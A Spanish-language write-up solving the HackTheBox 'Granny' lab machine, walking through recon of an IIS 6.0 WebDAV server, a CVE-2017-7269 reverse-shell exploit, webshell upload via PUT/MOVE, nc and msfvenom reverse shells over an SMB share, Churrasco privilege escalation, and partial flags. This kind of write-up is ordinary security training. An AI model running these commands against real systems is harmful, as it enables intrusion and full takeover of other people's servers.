HTB granny

¡Hola! En esta ocasión vamos a resolver de la máquina granny de HackTheBox. La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre granny y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack granny
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.15

[*] Detectando sistema operativo ...

[+] 10.10.10.15 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.15 -oG ports | grep open
80/tcp    open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p80 -sCV 10.10.10.15 -oN versions
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Date: Fri, 09 Sep 2022 07:38:14 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_  Server Type: Microsoft-IIS/6.0
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

RECONOCIMIENTO WEB

Iniciamos con el reconocimiento del servicio web donde inicialmente, por medio de la utilidad whatweb enumeramos información de librerías, gestores de contenido, entre otros.

whatweb 10.10.10.15
#OUTPUT
http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]

INTRUSION IIS EXPLOIT

Hacemos uso del exploit CVE-2017-7269 del github de g0rx que nos va a generar una reverse shell directamente con la máquina víctima.

Descarga y renombramiento de exploit

cd ../exploit
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
mv iis6\ reverse\ shell iisExploit.py

Modo de uso exploit

python iisExploit.py
usage:iis6webdav.py targetip targetport reverseip reverseport

Creamos un listener

rlwrap nc -lnvp 4564

Ejecutamos el exploit

python iisExploit.py 10.10.10.15 80 10.10.14.8 4564

Reverse shell exitosa

#OUTPUT
whoami
nt authority\network service

INTRUCIÓN WEBSHELL + SMBSERVER + NC

Otro método de intrusión se puede ejeutar por medio de la subida de una webshell al servidor víctima, para esto vamos a seguir las siguientes indicaciones.

Hacemos uso de davest para auditar los archivos que podemos subir a un objetivo

davtest -url http://10.10.10.15
#OUTPUT
/usr/bin/davtest Summary:
Created: http://10.10.10.15/DavTestDir_AUl9CdY
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.jsp
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.txt
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.html
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.php
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.pl
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.cfm
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.jhtml
Executes: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.txt
Executes: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.html

Localizamos los binarios .aspx que contienen una webshell

locate .aspx
#OUTPUT
/usr/share/webshells/aspx/cmdasp.aspx

Copiamos el archivo en nuestro directorio

cp /usr/share/webshells/aspx/cmdasp.aspx webshell.aspx

Con los métodos HTTP PUT y MOVE para subir un archivo y cambiar la extensión de este, para acto seguido, ejecutar la web shell obteniendo ejecución remota de comandos.

curl -s -X PUT http://10.10.10.15/webshell.txt -d @webshell.aspx
curl -s -X MOVE -H "Destination:http://10.10.10.15/webshell.aspx" http://10.10.10.15/webshell.txt

Copiamos en nuestro directorio, el binario para windows de nc

cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe nc.exe

Creamos un listener

rlwrap nc -lnvp 4564

Cargamos en el navegador el recurso http://10.10.10.15/webshell.txt

Creamos un servicio de recursos compartidos SMB

sudo impacket-smbserver smbFolder $(pwd)

En la webshell ejecutamos por medio de un recurso compartido una reverse shell con la ayuda de nc

\\10.10.14.8\smbFolder\nc.exe -e cmd 10.10.14.8 4564

Reverse shell exitosa

whoami
nt authority\network service

ESCALADA DE PRIVILEGIOS SMBSERVER + CHURRASCO + MSFVENOM

Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar la enumeración de permisos y tareas con la finalidad de lograr un escalamiento de privilegios.

Enumeración de grupos habilitados

whoami /priv
#OUTPUT
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State   
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 

Descargamos una variante de JuicyPotato.exe denominada Churrasco.exe

wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe

Generamos un payload que nos va a permitir la conexión reversa por medio de msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=4566 -f exe -o rev.exe

Creamos un recurso compartido con Impacket

sudo impacket-smbserver smbFolder $(pwd)

En la máquina víctima ingresamos a la carpeta C:\Windows\Temp, creamos la carpeta privesc y copiamos el archivo rev.exe en el objetivo

cd c:\Windows\Temp
mkdir privesc
cd privesc
copy \\10.10.14.8\smbFolder\rev.exe rev.exe

Creamos un listener

rlwrap nc -lnvp 4566

Ejecutamos en la máquina víctima churrasco.exe para que ejecute con privilegios rev.exe

\\10.10.14.8\smbFolder\churrasco.exe "\\10.10.14.8\smbFolder\rev.exe"

Obtenemos una shell como nt authority\system

whoami
nt authority\system

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

#USER
cd c:\
dir /b/s user.txt
C:\Documents and Settings\Lakis\Desktop\user.txt
set /P user=<"C:\Documents and Settings\Lakis\Desktop\user.txt"
echo.%user:~0,10%
700c5dc163
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
aa4beed1c0

¡Hemos logrado completar la máquina granny de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.